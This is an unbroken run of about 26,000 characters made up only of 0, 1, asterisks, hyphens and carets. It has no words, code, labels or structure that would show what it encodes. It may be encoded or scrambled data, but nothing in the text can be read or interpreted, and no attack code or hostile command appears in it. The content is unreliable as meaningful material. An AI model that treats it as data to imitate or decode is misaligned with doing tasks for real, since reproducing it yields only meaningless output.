-------00-101*-001011*0^1101********0-0-1*00^1*^1********00^101*001*01*001*1*0101*001101**********1101********01011*1********1011*1********01101*********1*001********01011*1*******************1101*********001^1********01101011********00101*0101*10^1*01011*0^11*-*001^1*001*******0-11010--0011*001^1*001****01**001**0--0101*001^1*001****01**0^110^--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******010-101*****01**01101****11***01^1^1***00--------110101*00-*01*001^1*^1*0-11*01010^-*00--------01^-*-00^1101*******01*11011**01*010^1********0101^1*001*11*001*1*--------^^1*0-*01*001^1*^11**********1*0010-0010-01*011**1*0--------^1101*0-*01*001^1*^110101*^-^^-11*101*001*1*1*^-*010-11*101*001*1*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00---------0-*0-*01*001^1*00-*1101*00101******00^11011*101*1**--------011*01*-*01*001^1*00-*1101*001**--------0^-1*-*101*0-11*---------0^1*-*01*001^1*11011**********1*********01**0101*101*01^11*00^110^110-0-11*1*011011**001*00--------*01101*-*01*001^1*^1*0-11*0101*001101*--------110-01*-*01*001^1*01101*01^1*11****01**011*01*001011********0^101********011*01********0^11*********110-********001010^1********0^101********0^-*******************01^^1********0110101*********00-********00-**********11*0101*1*1*001*1*********101*1*0-*11*001^1*001*******-1*10--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1*******-101********-10-***01***1^1^1******0--------*1**0-00101*001^1*^1*0-11*01010^1*******0011**1010-0-*00--------*11**-00101*001^1*^1*0-11*--------0^-1*-001101*0-11*--------*101*00-00101*001^1*0-1**********1*010-^^110^101101*-*^1**01******001011***001*001*011*******1****1**^1011*001*110-11*0101**011010-01*011*00--------001^1*0-00101*001^1*01011*1101*00101*******-1**10^11011******00-**11*^1*0011011******01011**11*-**11011******011**0011*101**--------0011011*0-00101*001^1*01011*1101**101*--------01^-*-00^1101*******0^^1***1*010^1*****01**0011011**0^-*001*1*--------^1*1*-00101*001^1*00-**********1*********01**0101*101*01^11*00^110101^1*-11*1*0110101**01**-*0--------11*101*-00101*001^1*^1*0-11*0101*001101*--------0-0101*-00101*001^1*^1101******-*01101^1*00^1^^1*****01**00^^1*001*11*001*1*01^1*11****01**001*01*001011********1*1101********10-01********001^1*********0010101********11011*********1^101********010-01********010-11********************-01********1^101********010-01*********11*0101*10101*001*1*********0^101*0-00-*001^1*001*******010101010--0011*001^1*001****01**0^110^--001101*01^1*********1***-001*1******0110101******1**00^1***00101***1^1^1****1010^1*******0011**0010-0^1*0-----110---00101*-*-*01^1*^1101*******101*010-*00^1^^1*****01**001*1**0^-1*01*1*01*1011*******0011**1010-0^1*0-*0011011******001**0010-*1*******10-0010--01011*00101*******01*10-101101*******00^101*010-*1*001*1*--------^10-*-00^1101******^^-*001*001*010^--110-11*1*1*1*1*-----110--11010-*-*-*01^1**01*-11*********^1*00-1^-*001*1*^1*01*1*-----110--10--*-*-*01^1*1*^1********-01101*00^1^1*1*1*^1*01^1**11010-01*^1*01*1*-----10--10^1**-*-*01^1*-1*0-11*01^1*101*******0^110-101101*10-*01101^^110-01*01*01*1**110101*1*-11**1101*11*01*1*^1*01*1*11011******01***10-01101*01*1*1*01101^^1^11010^1*01*1**11010-*001*1*0011*01*1*11011******01**01010-00101*01*1*101*001*1*1*******00^101*010-*1*001*1*-----10--1*0101*0-*-*01^1*1*^1*****01**00-011**1*^1*1*1*^1*01^1*-01**1*01^1*^101^-*-011******01***10-01101*01*1*-----10--11011011*0-*-*01^1*^1101******101010-001**001*010^^10-0-11*1*1*1*1*-*001^1**001101*0110101*001*1*1^^^11*01^1**11010-01*10^1*011*01*1*11011******01***10-00101*01*1*01*110-1*0-11*-*001*1*--------1^-1*-00-01*-----10----001*-*-*01^1*^1101*****001*-11010-1*001*010^1********-0^1*00^1*1*1*1*********10101*^-00-1101**^-11*011*001*1*-----10--10-1101*-*-*01^1*01011*-*001^1**0011011*110-01*-1101*****00--11**11*001*11*001*1*-11010-11*-11*011*001*1*0011*01^1**11010^11*0011*01*1*-----10--10-1011*-*-*01^1*^1101******-01^^^1*00^1^^1*****01**0^1101**^-1*01*1*011*001^1*1*0110101*001*1*1^^1*11010-01*0011*01*1*11011******01***10-00101*01*1*101*001^1*1^^^11*01*1*11011******01***10-00101*01*1*001*001^1*0101******0011*1101^-0---------01**-*-*01^1*00-*0101*01^1*1101*01^1*0011*01^1*011*0011011******01***10-*1*******1101^10--011011******01***10-*01*001010^1*******0011**1010-0^1*0--------01^-*-00^1101******0-01*101**001*010^1********01*011*001**1*1*1*--------*0101*0-*-*01^1*1101*0-11*********^1*0^-001011*010^1*101^-1*0011011******001**0010-*1*******10-0010--0--------0011011*0-*-*01^1*0-*0-11*1101*01*0110-*001^^1*1101*011*011*001101*01^^1011*0010^^11011******01***10-*01**11**1*******00-0010--00101*01*011011**1*011011011010^1**0^110110-**1*01*00--------0110^1*-*-*01^1*^1101******-001101010101*00^1^^1********0-0011*00^-1*01*1*01^1*11****01**01*001*001011********0^^1*****01**001101011*****01**0-1^1********101*1*******************11011*********0010-********011010-*****001**0101*********0110-1*****001***011*********0101^1********110-1********01^-1********1^1011*****01***101101*****01***1*1*****001**01*011********00^1*101*^-*01*1*********0101011*0-001^1*1^1*001****01*****0--00^1*1^1*001****01**001**0--01*1*1^1*001*******-1*10--*001*1^1*001*******010101010--0-1*01^1*001****01**0^110^--001101*01^1*********1***-001*1******0110-01*****001**-1*1***11***1^1^1******0--------*1101*0-*10101*1^1*11****01****01*001011********-*********00-********************0-********************0101*00101*10101*001*1*101*001^1*01101*01010^--------*^1*0-*011*001101*--------*10-*-00^1101******1***^11*001*010^1*****01**0-10101*00^^1*0--------1*011*0-*011*0^11*********-*00^-0010-01*011**110^1**0101101010^1*1**0101**011010-01*011**101****1**0-001*0010^--------10-11*0-*011**011*0101****1***1*01*10^--------^1*1*-*011*0^1101*****00101101*0101101*001*010^1*****001**001*1**^^1*0--------0-0-*-*0-*--------0010-1*-0011011*--------*10101*-*011*0^1*0-11*********0-**********01*********001**101*101*01^11*00^110^1*110-11*1*011011**01**--------101*11*-*011*001101*0101*001101*********011*01********0^11*********11*01******************001*101********0101*1********01*101********0--1********00110101********0010^1********0^1*********01101*0101*1*01**11*010-*1011**1*******010101010--001101*01^1*********1***-001*1******0010-01********0^-1**0011***01^1^1*010101*101******0010-*1^-*01*0-----1010--10-*00-*001*01^1*10110^-11*-----1010-1^1*1*0-*001*01^1*00110^-11*--------0^-1*-0010101*-11*-----1010-1^10101*0-*001*01^1*1*^10110-0-11*1011*01*1*********0011*0^-001**00--10^1*-11*011*001*1*-----1010--101011*0-*001*01^1*^10^-11*011*001^1*-01*--------0^-1*-00^10^-11*-----1010-110--*0-*001*01^1**00^-11*********^1*0^-001**00--101101*011*001*1*-----1010--*^1*-*001*01^1*^1101******0^11*^11**1*010^-010^-11*1101*01*1*011*001^1*10-*1011*001101*--------1^-1*-0010-*-----1010-110-0101*-*001*01^1**01^-11*********^1*0^-001**00--^-*011*001*1*-----1010--*0011*-*001*01^1*^1101*****001^10-0-11**1*010^1********0-0101*00^1101*01*1*011*001^1*0-*0-11*10-0011*1011*11010^11010101*001*1*001*001*1******01******00^^1**01*0--------0^-1*-0010-*-11*-----1010-11*0-1*-*001*01^1*01101*-11*********^1*0^-001**00--11011*0-11*011*001*1*------0-1^1**00-*001*01^1**01*-11*011*001^1*1*1*-11*1011**011010-01*^1*0--------0^-1*-**1*-11*------0-1^-**-*001*01^1*-10^-11*********^1*0^-001**00--1*01*-11*011*001*1*------0-11*011*00-*001*01^1*^1101*****00-0-10101101**^1^^1********1*-1*001*-*01*1*011*001^1*0-1*------0-11*^1*0-*001*01^1*^11*-11*--------0^-1*-00-01*-11*------0-11*1101*0-*001*01^1*11011*-11*********^1*0^-001**00--110-*011*001*1*------0--101011*0-*001*01^1*11010^-11*011*001^1*^11***001**01101*00--1011*******011**00101*-1*-*0010110101011*-1^11**^10110^-11*--------0^-1*-0011010^-11*------0---*1*-*001*01^1*^1101********0101^11*00^1*^1********10-011*00^-1*01*1*********10101*^-001**00--1*11*011*001*1*------0-110-0101*-*001*01^1*^11010^^10-11*1*^^110110-11*^1*01*1*011*001^1*1101*0-11*--------1^-1*-*1101*------0--11*11*-*001*01^1*^1101*****00^-1^110-*00^1^^1********^^11*001*-*01*1*********10101*--*01*001*1*101*001*1*--------0^-1*-*0-*-11*------0-1^110-*-*001*01^1*1*1*-11*********^1*0^-001**00--10101*0-11*011*001*1*-----^--***00-*001*01^1**11*011*001^1*1011*0-11*--------01^-*-00^1101******101011*010101*00^1^^1*****01**0010101**01*-*01*1*-----^---11**-*001*01^1*11011**********1**-1*1101*^11010101*001*1*001*001*1*--------01^-*-00^1101******-10110101*1*001*010^1*********-11*001*101*01*1*-----^--101*1*0-*001*01^1*^110^^1010-11*1*^1*****01**00-0101*00^-1*01*1*********0^1*^-001**00--^11*0-11*011*001*1*-----^--01*11*0-*001*01^1*01011*-11*011*001^1*^1*0-11*-----^---1011*0-*001*01^1*^1101********0--01*00^1*^11*1*-11*0011*01*1*001*001^1*1*0110110101********11*101******01**11*11**1******01**-0-**^10-010-*00^1*011**1*^1*11010-01*^1*001**--------^10-*-00^1101*****001^1^-00-*001*010^101*010-11*1101*01*1*-----^--00110101*-*001*01^1*00-**********1*0^-001**00--10-1*011*001*1*-----^--0-1101*-*001*01^1*^1101*****001101^10-1**001*010^1*****01**00^1**001*101*01*1*011*001^1*00-*0011*01*******0010^^1011*1*11010-01*^11010-01*011*00--------00110-*-00^1101011011010-11*1*^--^-11*0011*01*1*-----^--0-0-*-*001*01^1*1*^1********0-^1*001*011*01*1*********-1*0^-001**00---011*011*001*1*-----110---**00-*001*01^1*^1101*10^1*****01**0101101**01*101*01*1*0010^-001*-11*0101*01*1*011*001^1*01011*0101*0^101^-*101**--------01^-*-00^1101*****00---1010-*001*010^1*****01**00--1*001*101*01*1*-----110--011011*00-*001*01^1**11*-11*********^1*0^-001**00--1^11*011*001*1*-----110--^^1*0-*001*01^1*^1101******00-00101^11*00^1^^1*********-01*001*-*01*1*011*001^1**01*-11*10-0011*10-0011010101*001*1*001*001*1*^1**01*0--------^10-*-00^1101*****00-0^-01011**1*010^110110110-11*0101*01*1*-----110--110-1*0-*001*01^1*^110^-0^-11*1*^1*****01**0011***0^1011*01*1*********0^1*^-001**00---11*0-11*011*001*1*-----110--*1^1*-*001*01^1*-01*011*001^1*0101*0-11*101*001^1*1*^1^1*001**--------1^-1*-00-01*-----110---10101*-*001*01^1*^1101******^^^-01**1*010^--110-11*1101*01*1*********0^1*^-001**00--1^1*0-11*011*001*1*-----110--001^11*-*001*01^1*0101*0-11*011*001^1*-1*0-11*-----110--^11011*-*001*01^1*-10^-11*--------0^-1*-*101*0-11*-----110--^10-*-*001*01^1*^1101*********01^1*00^1*^110^110-11*^1*01*1*********0^1*^-001**00--10-*0-11*011*001*1*-----10--1011**00-*001*01^1*10^^-11*011*001^1*0011*0-11*001*001^1*^11010-01*001*001*1*--------0^-1*-0010^^-11*-----10--1*001*00-*001*01^1*0011*0-11*********^1*0^-001**00---01*0-11*011*001*1*-----10--^1011*00-*001*01^1*1101101011011*1*^10110-0-11*0011*01*1*011*001^1**11*--------01^-*-00^1101*****00-0-01*0-*001*010^1********0-*1*00^1101*01*1*-----10--1*1101*0-*001*01^1*00^^-11*********^1***01010101*110101******0110101*0101******1***^101*001******1**0-*01*00^^11*11**--------0^-1*-*-0^-11*-----10----11*0-*001*01^1*0-1*-11*********^1*0^-001**00---101*011*001*1*-----10--10^^1*-*001*01^1*01^^-11*011*001^1*11011*1101*0110101******0^-*0101*0-**00110-11*11**--------0^-1*-*1^^-11*-----10---110101*-*001*01^1*^1*0-11*********^1*0^-001**00--101011*011*001*1*-----10--101*011*-*001*01^1*^1101******^11**0011*001*010^1********101*01*00^1101*01*1*011*001^1*0^1*-11*--------^10-*-00^1101******10-11*01101*001*010^-^^-11*0101*01*1*-----10---010-*-*001*01^1*0^1^-11*********^1*00-1^^1101*011*011*00^1*0--------0^-1*-*1010^-11*--------001**00-*001*01^1*^1101********0010^11*00^1*^1^-10-11*^1*01*1*********0^1*^-001**00--11*1*-11*011*001*1*--------1*01*00-*001*01^1*10101*-11*011*001^1*01101*********0^101*****001**001*011******1*00101*01******1**0011*********^-11********0011*******01**^-1*****011**01*011********1101011******01**1*011*****001**-1011*****001***1*01********1101^1*****01**0-001*********0010-*****01**001011******001**001^1******01***0-******1**1101101******************0010101101******1**011011*****0011**--1*****0011**00-011*****001**110^11*********011******01**0101******0011**10--******1**01*1******01*00^10-*****01***^-*****011**0011011******01**011011*****0011***^1******01*00^101******01**0-1101*****01**01*011*****001***10101*****001***101******001**01^1******1**01*011********0101*01*****01**0110^1******01**0-001*****001**1*^1*****011**1*01******11**10^101*****011**10^-*****011**101101******1**01010^1*****001**110-11********1^1^101*1*01*01*1**1*01^1*-11*-11*-1*01^1*001*******0-11010--00-*01^1*001****01**0^110^--01011*01^1*001****01**001**0--*11*01^1*001****01*****0--01101*01^1*001*******-1*10--00101*01^1*001*******010101010--0^1*01^1*001****01**0-010^--001101*01^1*********1***-001*1******0^-01*****0011**001****011***1^1^1****10101*11*00-----11010-1**01*-**1*1^1*1*^1^1*0-11*01101*1*1*-----11010-^11*1*-**1*1^1*-^10-11*0^--010^1*^-1^10-11*1*1*1*1*-----11010-^-001*-**1*1^1**11010-01*-11*1*^1*********^11*00^10101*1*1*0^1*00110^1**00--^^^-11*0-*01*1*-----11010-101101101*-**1*1^1*^110^-0010-11*1*^-01*0-11*1*1*1*1*0-*01^1*-01*1010--0101*1011010-11*-----11010-^1^11*-**1*1^1*0-1^-11*^1**110^1**00--101101*0-*01*1*-----11010-^-011*-**1*1^1*1*0010-11*0-*01^1*0-1*-11*-----11010-1^10-*-**1*1^1*11*^-11*0101****01**10110^-101^11*****1***101*010^1011*01*1*001****001**11*1*--001*101101*001*1*01011*1011*01*1*01*101011****001***1^1*10^11011*01*11011**10-00110-**001*0101*^11*1011*01*1*01*1011*******001011**11*^1*001*1**11*1011*01*1*01*101011****001***1^1*10^10-*01*11011**10-00--**001*0101*-01*1011*01*1*01*101^1*001101*1011*01*1*1011*01^1*1*******0010101*1011*-011*011**0110-11010^^1101*********-001*00^1*^101101010-11*10101*1*1*-----10110--1^1*0-**1*1^1*^11010-11*^1**110^1**00--110-*-11*0-*01*1*-----10110-1*0011*0-**1*1^1*1*1*-11*0-*01^1*10-*-*001^1*1*******0011**1011*1*11*1010--010^1*1*-11*-----10110-1*-1*0-**1*1^1*10-*-11*^1**110^1**00--^-*0-*01*1*-----10110-1*1*1*-**1*1^1*010-00-11*0-*01^1*11011*01*101011****01**01*001*0101*0101*11011010^1*00-00-110-1*00^-01*00101*-01*011*001*1*^10-11010^^110101*^1*****01**00^^1*001*1101*1*1*1*^1*^10-11*01101*1*1*-----10110-110101101*-**1*1^1*1011*0-11*^1**110^1**00--101011*0-*01*1*-----10110-1101*11*-**1*1^1*1*^10-0010-11*1^1*1*1*0-*01^1*-11*-11*1101*01^1**11010-01*1101*01*1*1010--010^^10^-11*-----10110---011*-**1*1^1*01101*-11*^1**110^1**00--10-1*-11*0-*01*1*-----10110-1*0-1*-**1*1^1*01*^-11*0-*01^1*0-1*-----10110-^--*-**1*1^1**110101101*0-11*1*^1********01*011*001*1101*1*1*01*10-0101******0-*1*101******1**00^-1*001******1***--*001*11*******00101011*10^^-*011*001*10-1011**0^11011*01*010-11*011****01**0010^11*10^10110^-11*001*10-11*11*^-11*01101*-*001*1*0^--010^1^^^-010-11*0^1*1*1*------10-1**1*0-**1*1^1**10^-11*^1**110^1**00--110-*0-*01*1*------10-1*0101*0-**1*1^1*1*^10-1*-11*1*1*1*1*0-*01^1*01101*-11*101*001^1*0101^-01*01*1*0101*01*1*1010--0101*11*10-11*------10--01011*0-**1*1^1*^1101*****001^11*01^11*001*010^101*010-11*-01*1*1*0^1*00110^1**00--110101*-11*0-*01*1*------10-1101*01*-**1*1^1*10^^-11*0-*01^1*-1*0-11*1010--0101*1011*-11*------10-10110^1*-**1*1^1*11011**1**110^110101******-01101*101******01**^1^1*001******01**0--1*00^^1*0^10-11010^^1101*****0011011010^101**01*010^1*****01***00-**1*0101*1*1*------10-1**11*-**1*1^1*110^10-11*^1**110^1**00--10-*0-11*0-*01*1*------10-11*1011*-**1*1^1*^1101******-0-0101101**1*010^1*****01**00-001**1*0101*1*1*0-*01^1*01011*01*101011****011**0011*1*101*^11*1*110110^110--1*001*******************01**01*01*0-*01101*011*001*1*10110-11010^110110^1011*1*^1********00110101*00^10101*1*1*-----1*--011**0-**1*1^1*^1101******0-110^^1**1*010^1********00110101*001*0101*1*1*10101*00110^1**00--1^11*0-*01*1*-----1*--00101*00-**1*1^1**11010-*10-11*1*^1^-10-11*10101*1*1*0-*01^1*01*^-11*1010--0101*0-^-11*-----1*-11**1*0-**1*1^1*1*^1*****01***1011**0^1*1*1*1*-1*01*1^11011*001*001*1*1010--010^11011010-11*-----1*-11*1101*0-**1*1^1*^1101******-*0110101**0^1^^1********^-11*001*^1*1*1*10101*00110^1**00--11*0^-11*0-*01*1*-----1*--010-*0-**1*1^1*^1101*****00110-1010-01**1*010^1*****01**010-11**1*0101*1*1*0-*01^1*0101*0-11*0011*0-*001*1*00110-11010^^1101******00110^1***001*010^--*-11*-01*1*1*-----1*-110-^1*-**1*1^1*^1101*****00101^--***^1^^1*****01**011***001*^1*1*1*10101*00110^1**00--1^1*0-11*0-*01*1*-----1*--10-01*-**1*1^1*10110^-11*0-*01^1*1*0^-11*001*001^1**11010-01*001*001*1*^10-11010^^1101*****001011*--1**01*010^1********1101*1*00^-01*1*1*-----1*-110-1011*-**1*1^1*0^1*-11*^1**110^1**00--1*00^-11*0-*01*1*-----1*---0-*-**1*1^1*-01*0-*01^1*1*1*-11*-----1*--10-11*-**1*1^1*-11*-11*0110--010^-01*-----1^--11**00-**1*1^1*^1101*****00-0-0101*11*00^1^^1*****01**00^-**1*^1*1*1*10101*00110^1**00--1*01*-11*0-*01*1*-----1^-1^^1*00-**1*1^1*^1101******11011*0^11**^1^^1*****01***0-**01*^1*1*1*0-*01^1*^11*011*001^1*1*******0011**1011*1*11*1010--0101*1010^-11*-----1^-11*^1*0-**1*1^1*01011**1**110^1**00--1*11*0-*01*1*-----1^--110101*0-**1*1^1*^110^1101010-11*1*^110-*1^1*1*1*0-*01^1*0011*0-11*^1*01^1*01101*01^-11010^^110101*^1*****01***-1**0^1*1*1*1*1*^1********-01011*00^1*1*1*1*-----1^----*0-**1*1^1*^1101******00^1*001011*001*010^-001*-11*-01*1*1*0^1*00110^1**00---01*0-11*0-*01*1*-----1^--001^1*-**1*1^1*010^10-11*0-*01^1*10101*-11*-----1^-1101^101*-**1*1^1*-01*-11*1010--0101*10^10-11*-----1^--^1101*-**1*1^1*-*10-11*^1**110^1**00--^101*-11*0-*01*1*-----1^-1^1*11*-**1*1^1*101^10-11*0-*01^1**00^-11*1010--010^10101^-11*-----1^--0101011*-**1*1^1**110101*^^-*10101*1*1*1*^110-*-11*10101*1*1*1*1*0^1^^101^-*10101*01*1*1101*01*1*1010--010^101^10-11*-----1^-110^-1*-**1*1^1*-01*-11*^1**110^1**00----*-11*0-*01*1*-----1010--1***-**1*1^1*01101^-11*0-*01^1**11*0101*00101****01**11010^1^-01010--0101*1101^-11*-----1010--0011**-**1*1^1*0-0010-11*^1**110^1**00---101*0-*01*1*-----1010--00101*00-**1*1^1*^1101*****0010-1010110-1*001*010^1********-01101*001*0101*1*1*0-*01^1*1^1*-11*0101*01^1*-*001010--0101*1^^-11*-----1010--00^1*0-**1*1^1*^1101********01*1101*00^1*^110101^-11*1^1*1*1*0^1*00110^1**00--10^1*-11*0-*01*1*-----1010--1*11*0-**1*1^1*11011*-11*0-*01^1*00-*-11*01*101101*001*1*01011*0011*01*1*1010--010^11011*-11*-----1010-11010-1*0-**1*1^1*^11010-00110-11*1*^^1^10-11*10101*1*1*-1**110^1**00---011*-11*0-*01*1*-----1010--*^1*-**1*1^1*-01010-11*0-*01^1*10-*-11*1010--0101*1101*-11*-----1010-1101*101*-**1*1^1*^1101*****0011**0101101**1*010^1*****01**001*11**1*0101*1*1*10101*00110^110101******-01101*101*********001*1*001*********-0-*001*11****001**00-001*101******1**010^11**1******1**0-01**001*011*01*1*^10-11010^^1101*****001*010-01101**^1^^1*****01**00-^1*001*^1*1*1*-----1010--0010-*-**1*1^1*1*^1********001*11*00^1^1*1*1*-1**110^1**00--^-*-11*0-*01*1*------0-11***00-**1*1^1*110110^1011*1*^1*****01**001*11**^1*1*1*1*0-*01^1**01*-11*001*001^1*^11*-10-11010^1*^1*****01**010-101*001*1101*1*1*------0-1101*1*00-**1*1^1*00^^-11*^1**110^1**00---11*0-11*0-*01*1*------0--^11*00-**1*1^1*1^1*-11*0-*01^1**11*-11*01*101^1*001101*0011*01*1*1010--010^1^1*-11*------0--00^1*0-**1*1^1**-00-11*^1**110^1**00---101*-11*0-*01*1*------0-110101101*0-**1*1^1*^1*0-11*0-*01^1*1011*0-11*------0--1^11*0-**1*1^1*-1*0-11*1010--010^^1*0-11*------0-1^10-*0-**1*1^1*^1101********0-1^1*00^1*^1*****01**010101011*001*1101*1*1*10101*00110^1**00--^11*0-11*0-*01*1*------0--*^1*-**1*1^1*0-1*0-*01^1*00^^-11*0^--010^1*^-001*-11*1^1*1*1*------0-1^^101*-**1*1^1*00101010-11*^1*00^1^^101^-*1*1*01*1*^1*01*1*0110--0101*-1*------0-11*-01*-**1*1^1*-1*0-11*^1**110^1**00---*^-11*0-*01*1*------0--00^11*-**1*1^1*0^1010-11*0-*01^1*11011*-11*01*101011****001***1^1*101*1101*01*11011**10-001*11**001*0101*^11*0011*01*1*1010--0101*^1010-11*------0-1101010-*-**1*1^1*1*^101011*-11*01101*1*1*0011**110^1**00--101011*-11*0-*01*1*------0-110--1*-**1*1^1**110^1*^-11*1*^110-*-11*10101*1*1*0-*01^1*11*^-11*^1*01^1**11010-01*^1*01*1**0--0101*00110^-0^-11*1*^^-*10101*1*1*-----^--*001*00-**1*1^1*^110^1^110-11*1*^1*****01***0101**01*1101*1*1*0^1*00110^1**00--101*^-11*0-*01*1*-----^--010-*00-**1*1^1*1101*0-11*0-*01^1*00101*-11*1101*01^1*01101*^10-11010^^1101******-10101*1101*001*010^1*****01**001*-*001*0101*1*1*-----^--0101101*0-**1*1^1*^1101*10-0-11*1*^101^^-11*1*1*1*1*-1**110^1**00---001*-11*0-*01*1*-----^--1*-*0-**1*1^1*101*10-11*0-*01^1*^1*0-11*-----^--0--*0-**1*1^1*^1101******-1^10-1**0^1^^1*****01**01101011**1*^1*1*1*01*10-0101******0-*1*101******11**-001**01******11**^101**01*11*******00101011*10^^-*011*001*10^1011**01*0-*********10--*001*11****01**0010^11*101******01**00101**001******01**10-11**1*1011*-11*-01*-*001*1*-10-11010^^11010110-00-11*1*^11*1010-11*10101*1*1*-----^--1*1011*-**1*1^1*110110^1011*1*^11*1^-11*01101*1*1*0-**110^1**00--10-1*0-*01*1*-----^--01^-*-**1*1^1**110101*^-*010-11*01101*1*1*1*^-*^-11*01101*1*1*0-*01^1*0^1*-11*1010--0101*^1*-11*-----110--***00-**1*1^1*^11**1**110^110101******-01101*101********0010-011*001*********10-01*00^110101******00^11*0101******01**001*1**1******01**001^1**^1*******001011**11*^1*001*1*011****001***1^1*101*0011*01*11011**10-00101011**001*0101*^1*01010--0101*01*10-11*-----110--**1*0-**1*1^1*^1101********001101101*00^1*^101101*-11*1^1*1*1*0^1*00110^1**00--11*1*-11*0-*01*1*-----110--0101101*0-**1*1^1*0-1*-11*0-*01^1*00-*1101*0011*001*1*1010--0101*-1*-11*-----110--1011011*0-**1*1^1**11**1**110^1**00---011*0-*01*1*-----110--00-11*0-**1*1^1*1^1^-11*0-*01^1*^11*-11*01*101011****001***1^1*101*1011*01*11011**10-00^-**001*0101*-01*0011*01*1*1010--010^1^1^-11*-----110--10-001*-**1*1^1*^110101*0010-11*1*^-0-10-11*10101*1*1*-1**110^1**00--1*11*-11*0-*01*1*-----110--00101101*-**1*1^1*^1101******101*1*0-**1*010^1*****001**1^11**01*0101*1*1*0-*01^1*0-*0-11*1011*00101^1^1*01*1**1*01*1*1010--0101**0^-11*-----110---01011*-**1*1^1**01^-11*^1**110^1**00--11011*0-11*0-*01*1*-----110--*10-*-**1*1^1*^11010^^10-11*1*^1********01101101*00^1^1*1*1*0-*01^1*-01*-11*0011*01^1*1*******0010101*1011*-011*1010--010^1*1^-11*-----10--10101**0-**1*1^1*11*010-11*^1**110^1**00--101101*-11*0-*01*1*-----10---011**-**1*1^1*^1101*****001*0101010-1**^1^^1*****01**01*^1*001*^1*1*1*0-*01^1*01011*-11*01*1011*******001011**11*^1*001*1**11*0011*01*1*-10-11010^1*^1*****01**01*-**^1*1*1*1*-----10--1^^1*0-**1*1^1*1*1010-11*^1**110^1**00--1^11*-11*0-*01*1*-----10--10101101*0-**1*1^1*01101*0-*01^1*1101*0-11**1*01^1**1*00110--0101*1101*-----10--^11011*0-**1*1^1*-10^-11*^1**110^1**00--10101*0-11*0-*01*1*-----10--110-11*0-**1*1^1*01101010-11*0-*01^1*01101******0011***011******001*01^1011******01*0-*1******11**001*1*****011***-11******01*010--*****011**-101******01**00110-********0011*******1****11********010^1*****00101*00110-11*****0^1*0^1*******01**010-******01*00101*11******1*001^1******0011*00^11011******1***-1*****001**1101*1****************001**1011011*****0-*00^-******01***11******01**011*101********11*001******1**00-01******01*010110101******01**10-1******1*0011*-******01*01*0011*****011***01101*****01**0101^1*********00-1******01*01********1**11*101*****011**001*1*****00101*00101*01******1**11*01*****0-**1*1******11**^1*1*****01**01011*******1**1101*********01*0101********01101101*********001******001**01*1*****00101**-0011*****0-*001011*1*****0101**00-11*****0101*0010^11*****00-**01*11*****0-***101*****0011**11010-******1***011*****00-**01*******11**1*-******001***101*****0-*00^1^1*****0101*0010-*********10101011*****0011*00101011******1**0-101*******1*010101******0101**-*1******1**1^1******01**0^-******11*00101^1*****00-*00^101******001*001101^1*****0-**-0101*****001**--******11**01*1******11**0110101*****00101*00110-01******01*0^101******1**001*011*****001**00101011********0-011*****00-**0^-*****0101**^11******01**-^1*****0011**^11******011**-101******01***-11*****0011**00-01*****0011**0101******0011*00-0-1*****0101*00101*1*****001**01011*1*****01****1******101**101^1********-101*********0-010101*1*001*1*1**01*1^1**^10-11*-01*1^1*001*******-1*10--001101*1^1*001*******0-11010--010101*1^1*001****01*****0--*101*1^1*001*******010101010--01^1*1^1*001****01**0-010^--00^1*1^1*001****01**0^110^--01*1*1^1*001****01**001**0--001101*01^1*1**11010^1*1*******0-01*****00101*0110-01**00-***1^1^1********************01101******11***01******001**0010^1********00-11********001**1*******0010101*********011*******01**-^11*****001**00^1********0011010101******************************1101******01****01*****01**00^11******1**00-001********001********1^101*00^10101*-^--01*********10-1*001*101101*10^1*****01**011*011*001*01*******010101010--*10^1********0011*1*001*01*******010101010--*********11*1*001*01*******010101010--0-*001*1*------0--011011*0-00-----10--1*0101*0-00-11*1^1*0-1*--------1^-1*-0011011*-----10--10-101*0-00-11*1^1*1*^11*1*-11*1*0^1*1*********0011*0^-001**00--^-*0101*01*1*-----10--^10-*0-00-11*1^1*^11010^11*1*^10^1010-11*01*^1*1*0101*01^1*-01*--------00110-*-00^110^^1010-11*1*^101011010-11*1*0^1*1*-----10--10^^1*-00-11*1^1**11**********1*0^-001**00--101101*0101*01*1*-----10--^^101*-00-11*1^1*01101*0101*01^1*11011*010101*11*00---------10-*-001*^--*-11*11*^1*1*-----10---0-01*-00-11*1^1*0101*0-11*********^1*0^-001**00--101011*0101*01*1*-----10--10-0011*-00-11*1^1*^1*0-11*0101*01^1**11*0101*00101****01**0^1*1^-0--------0^-1*-00^1*0-11*-----10---^-*-00-11*1^1*^1101********010101011*00^1*^^101*-11*10101*1*1*********0^1*^-001**00---101*0101*01*1*--------11***-00-11*1^1*-1*0-11*0101*01^1*01011*---------1**0-00-11*1^1*^110101*^-110^-11*01*^1*1*1*^-010^-11*01*^1*1*-----^--1010101010-1*1101*0101****01***10^-10110-*00--------0^-1*-00-1*0-11*--------001011*00-00-11*1^1*^1101********010110101*00^1*^-010^-11*01*^1*1*********0^1*^-001**00--1^11*0101*01*1*--------*0101*0-00-11*1^1*1*^1********1101^1*00^1*0^1*1*0101*01^1*^11*1101*0011****01**00-11*0010^--------00110-*-001*^1********1101^1*00^1*0^1*1*--------1010-*0-00-11*1^1*^1101*******01101101^1*00^1^^1*****01**010-1**01**0^1*1*********10101*^-001**00--1*11*0101*01*1*--------0010^1*-00-11*1^1*^11*0101*01^1*00-*010101*11*******1**0101101******1**0^^1********001**********1*0011******************001*101********00-^1*****************************0^-*********^-1*********0-1********1^1011*****01**00110101*****001**00110101********00^^1*****01**01*101*********10-********01011******001***-*********0^^1********10--********01101*101*10-11*1*1*-11*1^1*1*1*-11*00-0110101******001^^-11011011011*******101*01101*0--1*1*00^1*********1011****************************************************101*00101*1010-*1*1*10-*1^1**11*********00110^10-0---------01^11*-0011011*1^1*01011*-----110--*00101010-*101****01**010-*00101*001*00^1********************0101*********00101*********00101******************************0011*00101*1011011*1*1*11011*1^1*01101***********0010-01101^1*********11*0010-011*************************************************************0101*00101*10^11*1*1*^11*1^1*01101*00-0110101******001^^-11011011011*******011*01101*0--1^1*00^1***************************************************001011*********0101*00101*10-01*1*1*-01*1^1*01011*********00110^10-0---------0010-*-00^11010^-00-11*1*^1*****01**00101***^10101*1*1*-----10--101^-*-*0101*1^1*^11**********1*0010-*101****01**-*1*010^^1*00^1*0101****01**00101*-101^11*001*1*011****001**1^1^-101^11****01**0110-*00101*1**011*001*1*011****001**-01^-101^11****01**0--*0010^101